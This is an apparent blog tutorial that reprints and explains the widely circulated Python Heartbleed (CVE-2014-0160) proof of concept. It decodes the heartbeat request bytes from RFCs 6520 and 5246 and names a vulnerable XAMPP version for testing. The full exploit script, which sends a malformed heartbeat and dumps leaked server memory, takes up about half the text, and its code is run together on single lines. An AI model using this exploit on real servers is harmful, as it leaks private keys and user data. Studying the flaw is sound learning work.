Openssl vulnerability POC Learning

For details about vulnerabilities and their hazards, refer to zhihu and wooyun's article.

What is the impact of the OpenSSL Heartbleed vulnerability?

Analysis on OpenSSL heartbleed Vulnerability

The vulnerability-related code will not be analyzed. The above article has clearly analyzed it. The following mainly analyzes the python POC files that are widely circulated on the Internet.

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)# The author disclaims copyright to this source code.import sysimport structimport socketimport timeimport selectimport refrom optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):    return x.replace(' ', '').replace('\n', '').decode('hex')hello = h2bin('''16 03 02 00  dc 01 00 00 d8 03 02 5343 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cfbd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 0000 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 8800 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1cc0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0cc0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 1100 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 0403 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 1900 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 0800 06 00 07 00 14 00 15  00 04 00 05 00 12 00 1300 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 0000 0f 00 01 01                                  ''')hb = h2bin(''' 18 03 02 00 0301 40 00''')def hexdump(s):    for b in xrange(0, len(s), 16):        lin = [c for c in s[b : b + 16]]        hxdat = ' '.join('%02X' % ord(c) for c in lin)        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)        print '  %04x: %-48s %s' % (b, hxdat, pdat)    printdef recvall(s, length, timeout=5):    endtime = time.time() + timeout    rdata = ''    remain = length    while remain > 0:        rtime = endtime - time.time()         if rtime < 0:            return None        r, w, e = select.select([s], [], [], 5)        if s in r:            data = s.recv(remain)            # EOF?            if not data:                return None            rdata += data            remain -= len(data)    return rdata        def recvmsg(s):    hdr = recvall(s, 5)    if hdr is None:        print 'Unexpected EOF receiving record header - server closed connection'        return None, None, None    typ, ver, ln = struct.unpack('>BHH', hdr)    pay = recvall(s, ln, 10)    if pay is None:        print 'Unexpected EOF receiving record payload - server closed connection'        return None, None, None    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))    return typ, ver, paydef hit_hb(s):    s.send(hb)    while True:        typ, ver, pay = recvmsg(s)        if typ is None:            print 'No heartbeat response received, server likely not vulnerable'            return False        if typ == 24:            print 'Received heartbeat response:'            hexdump(pay)            if len(pay) > 3:                print 'WARNING: server returned more data than it should - server is vulnerable!'            else:                print 'Server processed malformed heartbeat, but did not return any extra data.'            return True        if typ == 21:            print 'Received alert:'            hexdump(pay)            print 'Server returned error, likely not vulnerable'            return Falsedef main():    opts, args = options.parse_args()    if len(args) < 1:        options.print_help()        return    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    print 'Connecting...'    sys.stdout.flush()    s.connect((args[0], opts.port))    print 'Sending Client Hello...'    sys.stdout.flush()    s.send(hello)    print 'Waiting for Server Hello...'    sys.stdout.flush()    while True:        typ, ver, pay = recvmsg(s)        if typ == None:            print 'Server closed connection without sending Server Hello.'            return        # Look for server hello done message.        if typ == 22 and ord(pay[0]) == 0x0E:            break    print 'Sending heartbeat request...'    sys.stdout.flush()    s.send(hb)    hit_hb(s)if __name__ == '__main__':    main()

What is important and hard to understand above is what the two strings hello and hb mean.

First, let's look at the meaning of the several bytes of the string hb. By reading RFC6520, we can get the data structure of heartbeat:

The Heartbeat protocol messages consist of their type and an arbitrary payload and padding.
 

Enum {
Heartbeat_request (1 ),
Heartbeat_response (2 ),
(255)
} HeartbeatMessageType;

Struct {
HeartbeatMessageType type;
Uint16 payload_length;
Opaque payload [HeartbeatMessage. payload_length];
Opaque padding [padding_length];
} HeartbeatMessage;

The total length of the data structure cannot exceed 14 power of 2.

Type: the message type. One of the heartbeat_request or heartbeat_response values is 0x02, 1 byte.

Payload_length: the length of payload, two bytes.

Payload: The content is anything. After receiving the request, the receiving end must ignore the specific content. If the receiving end responds to this request, it is necessary to copy the content from the original file back to the sending end.

Padding: it is also a mess of content that must be ignored by the receiver.

Padding_length: TLSPlaintext. length-payload_length-3 for TLS or DTLSPlaintext. length-payload_length-3 for DTLS. At least 16bytes.

In RFC6520, IANA has assigned the heartbeat content type (24) from the "TLS ContentType Registry" as specified in [RFC5246]

That is to say, the IANA organization sets the heartbeat content type number to 24.

Go to RFC5246 to find the definition of the TLSPlaintext structure.

The definition in Appendix A of RFC5246 is as follows:

Struct {
Uint8 major;
Uint8 minor;
} ProtocolVersion;

ProtocolVersion version = {3, 3};/* TLS v1.2 */

Enum {
Change_cipher_spec (20), alert (21), handshake (22 ),
Application_data (23), (255)
} ContentType;

Struct {
ContentType type;
ProtocolVersion version;
Uint16 length;
Opaque fragment [TLSPlaintext. length];
} TLSPlaintext;

Type: 1 byte. Here it should be heartbeat, 24, 0x18

Version: 2 bytes

Length: 2 bytes

Fragment: The specific extension message.

The above data structure is translated into a data structure in C language:

Struct {

ContentType type; // 1 byte
ProtocolVersion version; // 2 bytes
Uint16 length; // 2 bytes

HeartbeatMessageType type; // 1 bytes
Uint16 payload_length; // 2 bytes
Char payload [payload_length];
Char padding [padding_length];

} HeartBeatPlainText;

In this way, we can see what hb means:

Hb = h2bin ('''
18 03 02 00 03
01 40 00
''')

18 indicates heartbeat type

03 02 indicates the version of TLS. Here, it indicates TLS v1.1.

00 03 indicates the length of heartbeatmessage, that is, the payload length of TLSplaintext

01 indicates heartbeat_request

40 00 indicates payload length, 2 ** 14

Payload and padding do not exist, so that the vulnerability can be exploited to dump the data in the memory.

OK. Now hb is clear.

Hello has 225 bytes. For the meaning of each domain, see RFC 5246 7.4.1.

Https://tools.ietf.org/html/rfc5246#section-7.4.1

It is best to use wireshark to capture the https package to view the parsing of client hello. Clear at a glance.

In addition, we found that XAMPP for Linux 1.8.3-3 uses a vulnerable version of openssl, which can be used for testing and packet capture.